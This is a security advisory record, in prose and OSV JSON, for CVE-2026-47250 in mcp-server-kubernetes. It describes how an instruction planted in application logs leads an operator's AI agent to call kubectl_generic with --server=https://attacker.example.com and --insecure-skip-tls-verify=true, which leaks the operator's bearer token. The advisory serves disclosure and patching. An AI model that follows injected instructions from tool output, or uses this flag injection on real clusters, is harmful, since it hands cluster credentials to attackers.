BREW-MCP-SERVER-KUBERNET… (CVE-2026-47250)
Vulnerability from osv_homebrew – Published: 2026-08-13 17:13 – Updated: 2026-10-29 22:00 – Source websitemcp-server-kubernetes is a Model Context Protocol server for Kubernetes cluster management. Prior to version 3.7.0, the kubectl_generic tool in mcp-server-kubernetes passes user-supplied flags directly to kubectl without any allowlist, enabling a privilege escalation attack within Kubernetes environments. An attacker who already has limited cluster or codebase access, for example, a developer with pod-deployment permissions but not cluster-admin credentials, can plant a single structured JSON line in an application's log output. When an operator with a privileged kubeconfig uses the MCP server to read those logs and their AI agent follows the injected instruction, kubectl_generic is called with --server=https://attacker.example.com and --insecure-skip-tls-verify=true. kubectl sends all API requests, including the Authorization: Bearer header from the operator's kubeconfig to the attacker's endpoint. The captured token can then be replayed directly against the real Kubernetes API server, granting the attacker the full RBAC permissions of the operator's service account. This issue has been patched in version 3.7.0.
{
"affected": [
{
"ecosystem_specific": {
"fix": "bump",
"range_state": "fixed",
"upstream_fixed_in": "3.7.0"
},
"package": {
"ecosystem": "Homebrew",
"name": "mcp-server-kubernetes",
"purl": "pkg:brew/mcp-server-kubernetes"
},
"ranges": [
{
"events": [
{
"introduced": "2.9.1"
},
{
"fixed": "3.7.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
"strategy": "git",
"upstream_evidence": [
{
"ecosystem": "GIT",
"key": "https://github.com/flux159/mcp-server-kubernetes",
"name": "https://github.com/flux159/mcp-server-kubernetes",
"strategy": "git",
"subject_version": "4.2.1"
},
{
"ecosystem": "npm",
"key": "pkg:npm/mcp-server-kubernetes@4.2.1",
"name": "mcp-server-kubernetes",
"strategy": "registry",
"subject_version": "4.2.1"
}
]
},
"details": "mcp-server-kubernetes is a Model Context Protocol server for Kubernetes cluster management. Prior to version 3.7.0, the kubectl_generic tool in mcp-server-kubernetes passes user-supplied flags directly to kubectl without any allowlist, enabling a privilege escalation attack within Kubernetes environments. An attacker who already has limited cluster or codebase access, for example, a developer with pod-deployment permissions but not cluster-admin credentials, can plant a single structured JSON line in an application\u0027s log output. When an operator with a privileged kubeconfig uses the MCP server to read those logs and their AI agent follows the injected instruction, kubectl_generic is called with --server=https://attacker.example.com and --insecure-skip-tls-verify=true. kubectl sends all API requests, including the Authorization: Bearer \u003ctoken\u003e header from the operator\u0027s kubeconfig to the attacker\u0027s endpoint. The captured token can then be replayed directly against the real Kubernetes API server, granting the attacker the full RBAC permissions of the operator\u0027s service account. This issue has been patched in version 3.7.0.",
"id": "BREW-mcp-server-kubernetes-CVE-2026-47250",
"modified": "2026-10-29T22:00:50Z",
"published": "2026-08-13T17:13:13Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/Flux159/mcp-server-kubernetes/releases/tag/v3.7.0"
},
{
"type": "ADVISORY",
"url": "https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/47xxx/CVE-2026-47250.json"
},
{
"type": "ADVISORY",
"url": "https://github.com/Flux159/mcp-server-kubernetes/security/advisories/GHSA-6mx4-4h42-r8vh"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-47250"
}
],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "mcp-server-kubernetes: kubectl-generic flag injection enables Kubernetes bearer token exfiltration",
"upstream": [
"CVE-2026-47250",
"GHSA-6mx4-4h42-r8vh"
]
}
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